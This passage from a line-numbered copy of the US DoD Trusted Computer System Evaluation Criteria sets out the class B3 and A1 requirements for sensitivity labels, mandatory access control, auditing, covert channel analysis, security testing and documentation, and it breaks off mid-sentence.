  1968.                         device, the sensitivity label associated with that
  1969.                         object shall also be exported and shall reside on
  1970.                         the same physical medium as the exported
  1971.                         information and shall be in the same form (i.e.,
  1972.                         machine-readable or human-readable form).  When
  1973.                         the TCB exports or imports an object over a
  1974.                         multilevel communication channel, the protocol
  1975.                         used on that channel shall provide for the
  1976.                         unambiguous pairing between the sensitivity labels
  1977.                         and the associated information that is sent or
  1978.                         received.
  1979.  
  1980.              3.3.1.3.2.2  Exportation to Single-Level Devices
  1981.  
  1982.                         Single-level I/O devices and single-level
  1983.                         communication channels are not required to
  1984.                         maintain the sensitivity labels of the information
  1985.                         they process.  However, the TCB shall include a
  1986.                         mechanism by which the TCB and an authorized user
  1987.                         reliably communicate to designate the single
  1988.                         security level of information imported or exported
  1989.                         via single-level communication channels or I/O
  1990.                         devices.
  1991.  
  1992.              3.3.1.3.2.3  Labeling Human-Readable Output
  1993.  
  1994.                         The ADP system administrator shall be able to
  1995.                         specify the printable label names associated with
  1996.                         exported sensitivity labels.  The TCB shall mark
  1997.                         the beginning and end of all human-readable, paged,
  1998.                         hardcopy output (e.g., line printer output) with
  1999.                         human-readable sensitivity labels that properly*
  2000.                         represent the sensitivity of the output.  The TCB
  2001.                         shall, by default, mark the top and bottom of each
  2002.                         page of human-readable, paged, hardcopy output
  2003.                         (e.g., line printer output) with human-readable
  2004.                         sensitivity labels that properly* represent the
  2005.                         overall sensitivity of the output or that
  2006.                         properly* represent the sensitivity of the
  2007.                         information on the page.  The TCB shall, by
  2008.                         default and in an appropriate manner, mark other
  2009.                         forms of human-readable output (e.g., maps,
  2010.                         graphics) with human-readable sensitivity labels
  2011.                         that properly* represent the sensitivity of the
  2012.                         output.  Any override of these marking defaults
  2013.                         shall be auditable by the TCB.
  2014.  
  2015.            _____________________________________________________________
  2016.            * The hierarchical classification component in human-readable
  2017.            sensitivity labels shall be equal to the greatest
  2018.            hierarchical classification of any of the information in the
  2019.            output that the labels refer to;  the non-hierarchical
  2020.            category component shall include all of the non-hierarchical
  2021.            categories of the information in the output the labels refer
  2022.            to, but no other non-hierarchical categories.
  2023.          _____________________________________________________________
  2024.  
  2025.  
  2026.         3.3.1.3.3  Subject Sensitivity Labels
  2027.  
  2028.                  The TCB shall immediately notify a terminal user of each
  2029.                  change in the security level associated with that user
  2030.                  during an interactive session.  A terminal user shall be
  2031.                  able to query the TCB as desired for a display of the
  2032.                  subject's complete sensitivity label.
  2033.  
  2034.         3.3.1.3.4  Device Labels
  2035.  
  2036.                  The TCB shall support the assignment of minimum and
  2037.                  maximum security levels to all attached physical devices.
  2038.                  These security levels shall be used by the TCB to enforce
  2039.                  constraints imposed by the physical environments in which
  2040.                  the devices are located.
  2041.  
  2042.      3.3.1.4   Mandatory Access Control
  2043.  
  2044.                The TCB shall enforce a mandatory access control policy over
  2045.              all resources (i.e., subjects, storage objects, and I/O
  2046.              devices) that are directly or indirectly accessible by subjects
  2047.              external to the TCB.  These subjects and objects shall be
  2048.              assigned sensitivity labels that are a combination of
  2049.              hierarchical classification levels and non-hierarchical
  2050.              categories, and the labels shall be used as the basis for
  2051.              mandatory access control decisions.  The TCB shall be able to
  2052.              support two or more such security levels.  (See the Mandatory
  2053.              Access Control guidelines.) The following requirements shall
  2054.              hold for all accesses between all subjects external to the TCB
  2055.              and all objects directly or indirectly accessible by these
  2056.              subjects: A subject can read an object only if the hierarchical
  2057.              classification in the subject's security level is greater than
  2058.              or equal to the hierarchical classification in the object's
  2059.              security level and the non-hierarchical categories in the
  2060.              subject's security level include all the non-hierarchical
  2061.              categories in the object's security level.  A subject can write
  2062.              an object only if the hierarchical classification in the
  2063.              subject's security level is less than or equal to the
  2064.              hierarchical classification in the object's security level and
  2065.              all the non-hierarchical categories in the subject's security
  2066.              level are included in the non- hierarchical categories in the
  2067.              object's security level.
  2068.  
  2069. 3.3.2  ACCOUNTABILITY
  2070.  
  2071.      3.3.2.1   Identification and Authentication
  2072.  
  2073.                The TCB shall require users to identify themselves to it before
  2074.              beginning to perform any other actions that the TCB is expected
  2075.              to mediate.  Furthermore, the TCB shall maintain authentication
  2076.              data that includes information for verifying the identity of
  2077.              individual users (e.g., passwords) as well as information for
  2078.              determining the clearance and authorizations of individual
  2079.              users.  This data shall be used by the TCB to authenticate the
  2080.              user's identity and to determine the security level and
  2081.              authorizations of subjects that may be created to act on behalf
  2082.              of the individual user.  The TCB shall protect authentication
  2083.              data so that it cannot be accessed by any unauthorized user.
  2084.              The TCB shall be able to enforce individual accountability by
  2085.              providing the capability to uniquely identify each individual
  2086.              ADP system user.  The TCB shall also provide the capability of
  2087.              associating this identity with all auditable actions taken by
  2088.              that individual.
  2089.  
  2090.         3.3.2.1.1  Trusted Path
  2091.  
  2092.                  The TCB shall support a trusted communication path
  2093.                  between itself and USERS for USE WHEN A POSITIVE TCB-TO-
  2094.                  USER CONNECTION IS REQUIRED (E.G., LOGIN, CHANGE SUBJECT
  2095.                  SECURITY LEVEL).  Communications via this TRUSTED path
  2096.                  shall be ACTIVATED exclusively by a user OR THE TCB AND
  2097.                  SHALL BE LOGICALLY ISOLATED AND UNMISTAKABLY
  2098.                  DISTINGUISHABLE FROM OTHER PATHS.
  2099.  
  2100.      3.3.2.2   Audit
  2101.  
  2102.                The TCB shall be able to create, maintain, and protect from
  2103.              modification or unauthorized access or destruction an audit
  2104.              trail of accesses to the objects it protects.  The audit data
  2105.              shall be protected by the TCB so that read access to it is
  2106.              limited to those who are authorized for audit data.  The TCB
  2107.              shall be able to record the following types of events: use of
  2108.              identification and authentication mechanisms, introduction of
  2109.              objects into a user's address space (e.g., file open, program
  2110.              initiation), deletion of objects, and actions taken by computer
  2111.              operators and system administrators and/or system security
  2112.              officers.  The TCB shall also be able to audit any override of
  2113.              human-readable output markings.  For each recorded event, the
  2114.              audit record shall identify: date and time of the event, user,
  2115.              type of event, and success or failure of the event.  For
  2116.              identification/authentication events the origin of request
  2117.              (e.g., terminal ID) shall be included in the audit record.
  2118.              For events that introduce an object into a user's address
  2119.              space and for object deletion events the audit record shall
  2120.              include the name of the object and the object's security level.
  2121.              The ADP system administrator shall be able to selectively audit
  2122.              the actions of any one or more users based on individual
  2123.              identity and/or object security level.  The TCB shall be able to
  2124.              audit the identified events that may be used in the exploitation
  2125.              of covert storage channels.  THE TCB SHALL CONTAIN A MECHANISM
  2126.              THAT IS ABLE TO MONITOR THE OCCURRENCE OR ACCUMULATION OF
  2127.              SECURITY AUDITABLE EVENTS THAT MAY INDICATE AN IMMINENT
  2128.              VIOLATION OF SECURITY POLICY.  THIS MECHANISM SHALL BE ABLE TO
  2129.              IMMEDIATELY NOTIFY THE SECURITY ADMINISTRATOR WHEN THRESHOLDS
  2130.              ARE EXCEEDED.
  2131.  
  2132. 3.3.3  ASSURANCE
  2133.  
  2134.      3.3.3.1   Operational Assurance
  2135.  
  2136.         3.3.3.1.1  System Architecture
  2137.  
  2138.                  The TCB shall maintain a domain for its own execution
  2139.                  that protects it from external interference or tampering
  2140.                  (e.g., by modification of its code or data structures).
  2141.                  The TCB shall maintain process isolation through the
  2142.                  provision of distinct address spaces under its control.
  2143.                  The TCB shall be internally structured into well-defined
  2144.                  largely independent modules.  It shall make effective use
  2145.                  of available hardware to separate those elements that are
  2146.                  protection-critical from those that are not.  The TCB
  2147.                  modules shall be designed such that the principle of
  2148.                  least privilege is enforced.  Features in hardware, such
  2149.                  as segmentation, shall be used to support logically
  2150.                  distinct storage objects with separate attributes (namely:
  2151.                  readable, writeable).  The user interface to the TCB shall
  2152.                  be completely defined and all elements of the TCB
  2153.                  identified.  THE TCB SHALL BE DESIGNED AND STRUCTURED TO
  2154.                  USE A COMPLETE, CONCEPTUALLY SIMPLE PROTECTION MECHANISM
  2155.                  WITH PRECISELY DEFINED SEMANTICS.  THIS MECHANISM SHALL
  2156.                  PLAY A CENTRAL ROLE IN ENFORCING THE INTERNAL STRUCTURING
  2157.                  OF THE TCB AND THE SYSTEM.  THE TCB SHALL INCORPORATE
  2158.                  SIGNIFICANT USE OF LAYERING, ABSTRACTION AND DATA HIDING.
  2159.                  SIGNIFICANT SYSTEM ENGINEERING SHALL BE DIRECTED TOWARD
  2160.                  MINIMIZING THE COMPLEXITY OF THE TCB AND EXCLUDING FROM
  2161.                  THE TCB MODULES THAT ARE NOT PROTECTION-CRITICAL.
  2162.  
  2163.         3.3.3.1.2  System Integrity
  2164.  
  2165.                  Hardware and/or software features shall be provided that
  2166.                  can be used to periodically validate the correct
  2167.                  operation of the on-site hardware and firmware elements
  2168.                  of the TCB.
  2169.  
  2170.         3.3.3.1.3  Covert Channel Analysis
  2171.  
  2172.                  The system developer shall conduct a thorough search for
  2173.                  COVERT CHANNELS and make a determination (either by
  2174.                  actual measurement or by engineering estimation) of the
  2175.                  maximum bandwidth of each identified channel.  (See the
  2176.                  Covert Channels Guideline section.)
  2177.  
  2178.         3.3.3.1.4  Trusted Facility Management
  2179.  
  2180.                  The TCB shall support separate operator and administrator
  2181.                  functions.  THE FUNCTIONS PERFORMED IN THE ROLE OF A
  2182.                  SECURITY ADMINISTRATOR SHALL BE IDENTIFIED.  THE ADP
  2183.                  SYSTEM ADMINISTRATIVE PERSONNEL SHALL ONLY BE ABLE TO
  2184.                  PERFORM SECURITY ADMINISTRATOR FUNCTIONS AFTER TAKING A
  2185.                  DISTINCT AUDITABLE ACTION TO ASSUME THE SECURITY
  2186.                  ADMINISTRATOR ROLE ON THE ADP SYSTEM.  NON-SECURITY
  2187.                  FUNCTIONS THAT CAN BE PERFORMED IN THE SECURITY
  2188.                  ADMINISTRATION ROLE SHALL BE LIMITED STRICTLY TO THOSE
  2189.                  ESSENTIAL TO PERFORMING THE SECURITY ROLE EFFECTIVELY.
  2190.  
  2191.         3.3.3.1.5  Trusted Recovery
  2192.  
  2193.                  PROCEDURES AND/OR MECHANISMS SHALL BE PROVIDED TO ASSURE
  2194.                  THAT, AFTER AN ADP SYSTEM FAILURE OR OTHER DISCONTINUITY,
  2195.                  RECOVERY WITHOUT A PROTECTION COMPROMISE IS OBTAINED.
  2196.  
  2197.      3.3.3.2   Life-Cycle Assurance
  2198.  
  2199.         3.3.3.2.1  Security Testing
  2200.  
  2201.                  The security mechanisms of the ADP system shall be tested
  2202.                  and found to work as claimed in the system documentation.
  2203.                  A team of individuals who thoroughly understand the
  2204.                  specific implementation of the TCB shall subject its
  2205.                  design documentation, source code, and object code to
  2206.                  thorough analysis and testing.  Their objectives shall
  2207.                  be: to uncover all design and implementation flaws that
  2208.                  would permit a subject external to the TCB to read,
  2209.                  change, or delete data normally denied under the
  2210.                  mandatory or discretionary security policy enforced by
  2211.                  the TCB; as well as to assure that no subject (without
  2212.                  authorization to do so) is able to cause the TCB to enter
  2213.                  a state such that it is unable to respond to
  2214.                  communications initiated by other users.  The TCB shall
  2215.                  be FOUND RESISTANT TO penetration.  All discovered flaws
  2216.                  shall be corrected and the TCB retested to demonstrate
  2217.                  that they have been eliminated and that new flaws have
  2218.                  not been introduced.  Testing shall demonstrate that the
  2219.                  TCB implementation is consistent with the descriptive
  2220.                  top-level specification.  (See the Security Testing
  2221.                  Guidelines.)  NO DESIGN FLAWS AND NO MORE THAN A FEW
  2222.                  CORRECTABLE IMPLEMENTATION FLAWS MAY BE FOUND DURING
  2223.                  TESTING AND THERE SHALL BE REASONABLE CONFIDENCE THAT
  2224.                  FEW REMAIN.
  2225.  
  2226.         3.3.3.2.2  Design Specification and Verification
  2227.  
  2228.                  A formal model of the security policy supported by the
  2229.                  TCB shall be maintained that is proven consistent with
  2230.                  its axioms.  A descriptive top-level specification (DTLS)
  2231.                  of the TCB shall be maintained that completely and
  2232.                  accurately describes the TCB in terms of exceptions, error
  2233.                  messages, and effects.  It shall be shown to be an
  2234.                  accurate description of the TCB interface.  A CONVINCING
  2235.                  ARGUMENT SHALL BE GIVEN THAT THE DTLS IS CONSISTENT WITH
  2236.                  THE MODEL.
  2237.  
  2238.         3.3.3.2.3  Configuration Management
  2239.  
  2240.                  During development and maintenance of the TCB, a
  2241.                  configuration management system shall be in place that
  2242.                  maintains control of changes to the descriptive top-level
  2243.                  specification, other design data, implementation
  2244.                  documentation, source code, the running version of the
  2245.                  object code, and test fixtures and documentation.  The
  2246.                  configuration management system shall assure a consistent
  2247.                  mapping among all documentation and code associated with
  2248.                  the current version of the TCB.  Tools shall be provided
  2249.                  for generation of a new version of the TCB from source
  2250.                  code.  Also available shall be tools for comparing a
  2251.                  newly generated version with the previous TCB version in
  2252.                  order to ascertain that only the intended changes have
  2253.                  been made in the code that will actually be used as the
  2254.                  new version of the TCB.
  2255.  
  2256. 3.3.4  DOCUMENTATION
  2257.  
  2258.      3.3.4.1   Security Features User's Guide
  2259.  
  2260.              A single summary, chapter, or manual in user documentation
  2261.              shall describe the protection mechanisms provided by the TCB,
  2262.              guidelines on their use, and how they interact with one another.
  2263.  
  2264.      3.3.4.2   Trusted Facility Manual
  2265.  
  2266.                A manual addressed to the ADP system administrator shall
  2267.              present cautions about functions and privileges that should be
  2268.              controlled when running a secure facility.  The procedures for
  2269.              examining and maintaining the audit files as well as the
  2270.              detailed audit record structure for each type of audit event
  2271.              shall be given.  The manual shall describe the operator and
  2272.              administrator functions related to security, to include
  2273.              changing the security characteristics of a user.  It shall
  2274.              provide guidelines on the consistent and effective use of the
  2275.              protection features of the system, how they interact, how to
  2276.              securely generate a new TCB, and facility procedures, warnings,
  2277.              and privileges that need to be controlled in order to operate
  2278.              the facility in a secure manner.  The TCB modules that contain
  2279.              the reference validation mechanism shall be identified.  The
  2280.              procedures for secure generation of a new TCB from source after
  2281.              modification of any modules in the TCB shall be described.  IT
  2282.              SHALL INCLUDE THE PROCEDURES TO ENSURE THAT THE SYSTEM IS
  2283.              INITIALLY STARTED IN A SECURE MANNER.  PROCEDURES SHALL ALSO BE
  2284.              INCLUDED TO RESUME SECURE SYSTEM OPERATION AFTER ANY LAPSE IN
  2285.              SYSTEM OPERATION.
  2286.  
  2287.      3.3.4.3   Test Documentation
  2288.  
  2289.                The system developer shall provide to the evaluators a document
  2290.              that describes the test plan and results of the security
  2291.              mechanisms' functional testing.  It shall include results of
  2292.              testing the effectiveness of the methods used to reduce covert
  2293.              channel bandwidths.
  2294.  
  2295.      3.3.4.4   Design Documentation
  2296.  
  2297.                Documentation shall be available that provides a description of
  2298.              the manufacturer's philosophy of protection and an explanation
  2299.              of how this philosophy is translated into the TCB.  The
  2300.              interfaces between the TCB modules shall be described.  A
  2301.              formal description of the security policy model enforced by the
  2302.              TCB shall be available and proven that it is sufficient to
  2303.              enforce the security policy.  The specific TCB protection
  2304.              mechanisms shall be identified and an explanation given to show
  2305.              that they satisfy the model.  The descriptive top-level
  2306.              specification (DTLS) shall be shown to be an accurate
  2307.              description of the TCB interface.  Documentation shall describe
  2308.              how the TCB implements the reference monitor concept and give
  2309.              an explanation why it is tamperproof, cannot be bypassed, and
  2310.              is correctly implemented.  THE TCB IMPLEMENTATION (I.E., IN
  2311.              HARDWARE, FIRMWARE, AND SOFTWARE) SHALL BE INFORMALLY SHOWN TO
  2312.              BE CONSISTENT WITH THE DTLS.  THE ELEMENTS OF THE DTLS SHALL BE
  2313.              SHOWN, USING INFORMAL TECHNIQUES, TO CORRESPOND TO THE ELEMENTS
  2314.              OF THE TCB.  Documentation shall describe how the TCB is
  2315.              structured to facilitate testing and to enforce least privilege.
  2316.              This documentation shall also present the results of the covert
  2317.              channel analysis and the tradeoffs involved in restricting the
  2318.              channels.  All auditable events that may be used in the
  2319.              exploitation of known covert storage channels shall be
  2320.              identified.  The bandwidths of known covert storage channels,
  2321.              the use of which is not detectable by the auditing mechanisms,
  2322.              shall be provided.  (See the Covert Channel Guideline section.)
  2323.  
  2324.  
  2325. 4.0  DIVISION A:    VERIFIED PROTECTION
  2326.  
  2327. This division is characterized by the use of formal security verification
  2328. methods to assure that the mandatory and discretionary security controls
  2329. employed in the system can effectively protect classified or other sensitive
  2330. information stored or processed by the system.  Extensive documentation is
  2331. required to demonstrate that the TCB meets the security requirements in all
  2332. aspects of design, development and implementation.
  2333.  
  2334.  
  2335. 4.1  CLASS (A1):    VERIFIED DESIGN
  2336.  
  2337. Systems in class (A1) are functionally equivalent to those in class (B3) in
  2338. that no additional architectural features or policy requirements are added.
  2339. The distinguishing feature of systems in this class is the analysis derived
  2340. from formal design specification and verification techniques and the resulting
  2341. high degree of assurance that the TCB is correctly implemented.  This
  2342. assurance is developmental in nature, starting with a formal model of the
  2343. security policy and a formal top-level specification (FTLS) of the design.
  2344. Independent of the particular specification language or verification system
  2345. used, there are five important criteria for class (A1) design verification:
  2346.  
  2347.         * A formal model of the security policy must be clearly
  2348.         identified and documented, including a mathematical proof
  2349.         that the model is consistent with its axioms and is
  2350.         sufficient to support the security policy.
  2351.  
  2352.         * An FTLS must be produced that includes abstract definitions
  2353.         of the functions the TCB performs and of the hardware and/or
  2354.         firmware mechanisms that are used to support separate
  2355.         execution domains.
  2356.  
  2357.         * The FTLS of the TCB must be shown to be consistent with the
  2358.         model by formal techniques where possible (i.e., where
  2359.         verification tools exist) and informal ones otherwise.
  2360.  
  2361.         * The TCB implementation (i.e., in hardware, firmware, and
  2362.         software) must be informally shown to be consistent with the
  2363.         FTLS.  The elements of the FTLS must be shown, using
  2364.         informal techniques, to correspond to the elements of the
  2365.         TCB.  The FTLS must express the unified protection mechanism
  2366.         required to satisfy the security policy, and it is the
  2367.         elements of this protection mechanism that are mapped to the
  2368.         elements of the TCB.
  2369.  
  2370.         * Formal analysis techniques must be used to identify and
  2371.         analyze covert channels.  Informal techniques may be used to
  2372.         identify covert timing channels.  The continued existence of
  2373.         identified covert channels in the system must be justified.
  2374.  
  2375. In keeping with the extensive design and development analysis of the TCB
  2376. required of systems in class (A1), more stringent configuration management is
  2377. required and procedures are established for securely distributing the system
  2378. to sites.  A system security administrator is supported.
  2379.  
  2380. The following are minimal requirements for systems assigned a class (A1)
  2381. rating:
  2382.  
  2383. 4.1.1  SECURITY POLICY
  2384.  
  2385.      4.1.1.1   Discretionary Access Control
  2386.  
  2387.              The TCB shall define and control access between named users and
  2388.              named objects (e.g., files and programs) in the ADP system.
  2389.              The enforcement mechanism (e.g., access control lists) shall
  2390.              allow users to specify and control sharing of those objects.
  2391.              The discretionary access control mechanism shall, either by
  2392.              explicit user action or by default, provide that objects are
  2393.              protected from unauthorized access.  These access controls
  2394.              shall be capable of specifying, for each named object, a list
  2395.              of named individuals and a list of groups of named individuals
  2396.              with their respective modes of access to that object.
  2397.              Furthermore, for each such named object, it shall be possible to
  2398.              specify a list of named individuals and a list of groups of
  2399.              named individuals for which no access to the object is to be
  2400.              given.  Access permission to an object by users not already
  2401.              possessing access permission shall only be assigned by
  2402.              authorized users.
  2403.  
  2404.      4.1.1.2   Object Reuse
  2405.  
  2406.              When a storage object is initially assigned, allocated, or
  2407.              reallocated to a subject from the TCB's pool of unused storage
  2408.              objects, the TCB shall assure that the object contains no data
  2409.              for which the subject is not authorized.
  2410.  
  2411.      4.1.1.3   Labels
  2412.  
  2413.              Sensitivity labels associated with each ADP system resource
  2414.              (e.g., subject, storage object) that is directly or indirectly
  2415.              accessible by subjects external to the TCB shall be maintained
  2416.              by the TCB.  These labels shall be used as the basis for
  2417.              mandatory access control decisions.  In order to import non-
  2418.              labeled data, the TCB shall request and receive from an
  2419.              authorized user the security level of the data, and all such
  2420.              actions shall be auditable by the TCB.
  2421.  
  2422.         4.1.1.3.1  Label Integrity
  2423.  
  2424.                  Sensitivity labels shall accurately represent security
  2425.                  levels of the specific subjects or objects with which
  2426.                  they are associated.  When exported by the TCB,
  2427.                  sensitivity labels shall accurately and unambiguously
  2428.                  represent the internal labels and shall be associated
  2429.                  with the information being exported.
  2430.  
  2431.         4.1.1.3.2  Exportation of Labeled Information
  2432.  
  2433.                  The TCB shall designate each communication channel and
  2434.                  I/O device as either single-level or multilevel.  Any
  2435.                  change in this designation shall be done manually and
  2436.                  shall be auditable by the TCB.  The TCB shall maintain
  2437.                  and be able to audit any change in the current security
  2438.                  level associated with a single-level communication
  2439.                  channel or I/O device.
  2440.  
  2441.              4.1.1.3.2.1  Exportation to Multilevel Devices
  2442.  
  2443.                         When the TCB exports an object to a multilevel I/O
  2444.                         device, the sensitivity label associated with that
  2445.                         object shall also be exported and shall reside on
  2446.                         the same physical medium as the exported
  2447.                         information and shall be in the same form (i.e.,
  2448.                         machine-readable or human-readable form).  When
  2449.                         the TCB exports or imports an object over a
  2450.                         multilevel communication channel, the protocol
  2451.                         used on that channel shall provide for the
  2452.                         unambiguous pairing between the sensitivity labels
  2453.                         and the associated information that is sent or
  2454.                         received.
  2455.  
  2456.              4.1.1.3.2.2  Exportation to Single-Level Devices
  2457.  
  2458.                         Single-level I/O devices and single-level
  2459.                         communication channels are not required to
  2460.                         maintain the sensitivity labels of the information
  2461.                         they process.  However, the TCB shall include a
  2462.                         mechanism by which the TCB and an authorized user
  2463.                         reliably communicate to designate the single
  2464.                         security level of information imported or exported
  2465.                         via single-level communication channels or I/O
  2466.                         devices.
  2467.  
  2468.              4.1.1.3.2.3  Labeling Human-Readable Output
  2469.  
  2470.                         The ADP system administrator shall be able to
  2471.                         specify the printable label names associated with
  2472.                         exported sensitivity labels.  The TCB shall mark
  2473.                         the beginning and end of all human-readable, paged,
  2474.                         hardcopy output (e.g., line printer output) with
  2475.                         human-readable sensitivity labels that properly*
  2476.                         represent the sensitivity of the output.  The TCB
  2477.                         shall, by default, mark the top and bottom of each
  2478.                         page of human-readable, paged, hardcopy output
  2479.                         (e.g., line printer output) with human-readable
  2480.                         sensitivity labels that properly* represent the
  2481.                         overall sensitivity of the output or that
  2482.                         properly* represent the sensitivity of the
  2483.                         information on the page.  The TCB shall, by
  2484.                         default and in an appropriate manner, mark other
  2485.                         forms of human-readable output (e.g., maps,
  2486.                         graphics) with human-readable sensitivity labels
  2487.                         that properly* represent the sensitivity of the
  2488.                         output.  Any override of these marking defaults
  2489.                         shall be auditable by the TCB.
  2490.  
  2491.            ____________________________________________________________________
  2492.            * The hierarchical classification component in human-readable
  2493.            sensitivity labels shall be equal to the greatest
  2494.            hierarchical classification of any of the information in the
  2495.            output that the labels refer to;  the non-hierarchical
  2496.            category component shall include all of the non-hierarchical
  2497.            categories of the information in the output the labels refer
  2498.            to, but no other non-hierarchical categories.
  2499.            ____________________________________________________________________
  2500.  
  2501.  
  2502.         4.1.1.3.3  Subject Sensitivity Labels
  2503.  
  2504.                  The TCB shall immediately notify a terminal user of each
  2505.                  change in the security level associated with that user
  2506.                  during an interactive session.  A terminal user shall be
  2507.                  able to query the TCB as desired for a display of the
  2508.                  subject's complete sensitivity label.
  2509.  
  2510.         4.1.1.3.4  Device Labels
  2511.  
  2512.                  The TCB shall support the assignment of minimum and
  2513.                  maximum security levels to all attached physical devices.
  2514.                  These security levels shall be used by the TCB to enforce
  2515.                  constraints imposed by the physical environments in which
  2516.                  the devices are located.
  2517.  
  2518.      4.1.1.4   Mandatory Access Control
  2519.  
  2520.              The TCB shall enforce a mandatory access control policy over
  2521.              all resources (i.e., subjects, storage objects, and I/O
  2522.              devices) that are directly or indirectly accessible by subjects
  2523.              external to the TCB.  These subjects and objects shall be
  2524.              assigned sensitivity labels that are a combination of
  2525.              hierarchical classification levels and non-hierarchical
  2526.              categories, and the labels shall be used as the basis for
  2527.              mandatory access control decisions.  The TCB shall be able to
  2528.              support two or more such security levels.  (See the Mandatory
  2529.              Access Control guidelines.) The following requirements shall
  2530.              hold for all accesses between all subjects external to the TCB
  2531.              and all objects directly or indirectly accessible by these
  2532.              subjects: A subject can read an object only if the hierarchical
  2533.              classification in the subject's security level is greater than
  2534.              or equal to the hierarchical classification in the object's
  2535.              security level and the non-hierarchical categories in the
  2536.              subject's security level include all the non-hierarchical
  2537.              categories in the object's security level.  A subject can write
  2538.              an object only if the hierarchical classification in the
  2539.              subject's security level is less than or equal to the
  2540.              hierarchical classification in the object's security level and
  2541.              all the non-hierarchical categories in the subject's security
  2542.              level are included in the non- hierarchical categories in the
  2543.              object's security level.
  2544.  
  2545. 4.1.2  ACCOUNTABILITY
  2546.  
  2547.      4.1.2.1   Identification and Authentication
  2548.  
  2549.              The TCB shall require users to identify themselves to it before
  2550.              beginning to perform any other actions that the TCB is expected
  2551.              to mediate.  Furthermore, the TCB shall maintain authentication
  2552.              data that includes information for verifying the identity of
  2553.              individual users (e.g., passwords) as well as information for
  2554.              determining the clearance and authorizations of individual
  2555.              users.  This data shall be used by the TCB to authenticate the
  2556.              user's identity and to determine the security level and
  2557.              authorizations of subjects that may be created to act on behalf
  2558.              of the individual user.  The TCB shall protect authentication
  2559.              data so that it cannot be accessed by any unauthorized user.
  2560.              The TCB shall be able to enforce individual accountability by
  2561.              providing the capability to uniquely identify each individual
  2562.              ADP system user.  The TCB shall also provide the capability of
  2563.              associating this identity with all auditable actions taken by
  2564.              that individual.
  2565.  
  2566.         4.1.2.1.1  Trusted Path
  2567.                  The TCB shall support a trusted communication path
  2568.                  between itself and users for use when a positive TCB-to-
  2569.                  user connection is required (e.g., login, change subject
  2570.                  security level).  Communications via this trusted path
  2571.                  shall be activated exclusively by a user or the TCB and
  2572.                  shall be logically isolated and unmistakably
  2573.                  distinguishable from other paths.
  2574.  
  2575.      4.1.2.2   Audit
  2576.  
  2577.              The TCB shall be able to create, maintain, and protect from
  2578.              modification or unauthorized access or destruction an audit
  2579.              trail of accesses to the objects it protects.  The audit data
  2580.              shall be protected by the TCB so that read access to it is
  2581.              limited to those who are authorized for audit data.  The TCB
  2582.              shall be able to record the following types of events: use of
  2583.              identification and authentication mechanisms, introduction of
  2584.              objects into a user's address space (e.g., file open, program
  2585.              initiation), deletion of objects, and actions taken by computer
  2586.              operators and system administrators and/or system security
  2587.              officers.  The TCB shall also be able to audit any override of
  2588.              human-readable output markings.  For each recorded event, the
  2589.              audit record shall identify: date and time of the event, user,
  2590.              type of event, and success or failure of the event.  For
  2591.              identification/authentication events the origin of request
  2592.              (e.g., terminal ID) shall be included in the audit record.  For
  2593.              events that introduce an object into a user's address space and
  2594.              for object deletion events the audit record shall include the
  2595.              name of the object and the object's security level.  The ADP
  2596.              system administrator shall be able to selectively audit the
  2597.              actions of any one or more users based on individual identity
  2598.              and/or object security level.  The TCB shall be able to audit
  2599.              the identified events that may be used in the exploitation of
  2600.              covert storage channels.  The TCB shall contain a mechanism
  2601.              that is able to monitor the occurrence or accumulation of
  2602.              security auditable events that may indicate an imminent
  2603.              violation of security policy.  This mechanism shall be able to
  2604.              immediately notify the security administrator when thresholds
  2605.              are exceeded.
  2606.  
  2607. 4.1.3  ASSURANCE
  2608.  
  2609.      4.1.3.1   Operational Assurance
  2610.  
  2611.         4.1.3.1.1  System Architecture
  2612.  
  2613.                  The TCB shall maintain a domain for its own execution
  2614.                  that protects it from external interference or tampering
  2615.                  (e.g., by modification of its code or data structures).
  2616.                  The TCB shall maintain process isolation through the
  2617.                  provision of distinct address spaces under its control.
  2618.                  The TCB shall be internally structured into well-defined
  2619.                  largely independent modules.  It shall make effective use
  2620.                  of available hardware to separate those elements that are
  2621.                  protection-critical from those that are not.  The TCB
  2622.                  modules shall be designed such that the principle of
  2623.                  least privilege is enforced.  Features in hardware, such
  2624.                  as segmentation, shall be used to support logically
  2625.                  distinct storage objects with separate attributes (namely:
  2626.                  readable, writeable).  The user interface to the TCB
  2627.                  shall be completely defined and all elements of the TCB
  2628.                  identified.  The TCB shall be designed and structured to
  2629.                  use a complete, conceptually simple protection mechanism
  2630.                  with precisely defined semantics.  This mechanism shall
  2631.                  play a central role in enforcing the internal structuring
  2632.                  of the TCB and the system.  The TCB shall incorporate
  2633.                  significant use of layering, abstraction and data hiding.
  2634.                  Significant system engineering shall be directed toward
  2635.                  minimizing the complexity of the TCB and excluding from
  2636.                  the TCB modules that are not protection-critical.
  2637.  
  2638.         4.1.3.1.2  System Integrity
  2639.  
  2640.                  Hardware and/or software features shall be provided that
  2641.                  can be used to periodically validate the correct
  2642.                  operation of the on-site hardware and firmware elements
  2643.                  of the TCB.
  2644.  
  2645.         4.1.3.1.3  Covert Channel Analysis
  2646.  
  2647.                  The system developer shall conduct a thorough search for
  2648.                  COVERT CHANNELS and make a determination (either by
  2649.                  actual measurement or by engineering estimation) of the
  2650.                  maximum bandwidth of each identified channel.  (See the
  2651.                  Covert Channels Guideline section.)  FORMAL METHODS SHALL
  2652.                  BE USED IN THE ANALYSIS.
  2653.  
  2654.         4.1.3.1.4  Trusted Facility Management
  2655.  
  2656.                  The TCB shall support separate operator and administrator
  2657.                  functions.  The functions performed in the role of a
  2658.                  security administrator shall be identified.  The ADP
  2659.                  system administrative personnel shall only be able to
  2660.                  perform security administrator functions after taking a
  2661.                  distinct auditable action to assume the security
  2662.                  administrator role on the ADP system.  Non-security
  2663.                  functions that can be performed in the security
  2664.                  administration role shall be limited strictly to those
  2665.                  essential to performing the security role effectively.
  2666.  
  2667.         4.1.3.1.5  Trusted Recovery
  2668.  
  2669.                  Procedures and/or mechanisms shall be provided to assure
  2670.                  that, after an ADP system failure or other discontinuity,
  2671.                  recovery without a protection compromise is obtained.
  2672.  
  2673.      4.1.3.2   Life-Cycle Assurance
  2674.  
  2675.         4.1.3.2.1  Security Testing
  2676.  
  2677.                  The security mechanisms of the ADP system shall be tested
  2678.                  and found to work as claimed in the system documentation.
  2679.                  A team of individuals who thoroughly understand the
  2680.                  specific implementation of the TCB shall subject its
  2681.                  design documentation, source code, and object code to
  2682.                  thorough analysis and testing.  Their objectives shall
  2683.                  be: to uncover all design and implementation flaws that
  2684.                  would permit a subject external to the TCB to read,
  2685.                  change, or delete data normally denied under the
  2686.                  mandatory or discretionary security policy enforced by
  2687.                  the TCB; as well as to assure that no subject (without
